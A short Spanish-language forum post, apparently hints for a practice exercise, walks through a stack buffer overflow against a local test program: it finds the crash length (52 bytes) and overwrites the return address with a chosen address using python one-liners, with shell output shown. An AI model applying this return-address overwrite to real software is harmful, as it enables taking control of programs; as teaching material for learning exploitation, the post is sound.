pistas:
con 51 caracteres no rompe!!.
./prueba `python -c "print 'a'*51"`
con 52 caracteres rompe!!.
./prueba `python -c "print 'a'*52"
Segmentation fault
si con 52 caracteres rompe, intentemos inyectar una direccion de memoria despues de un buffer de 52 caracteres, en mi caso inyecte la direccion de antes del printf que se encuentra dentro del if que verifica si he ingresado un parametro por consola(la direccion antes, para que ingrese la cadena, de lo contrario tendria un error), la idea era que imprimira el buffer ingresado y tambien el mensaje de error diciendo que debia ingresar un parametro
./prueba `python -c "print 'a'*52+'\xd6\x84\x04\x08'"`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaք
Necesito un argumento -1073743340
siendo \xd6\x84\x04\x08 -> 0x080484d6, que es la direccion de la cadena
"Necesito un argumento %d\n" , ahora lo que debes hacer es buscar la direccion de la funcion a ejecutar y reemplazarla por esa.
tambien, debes leer un tutorial de ASM at&t y un tutorial de buffer overflow.
http://overflowedminds.net/papers.php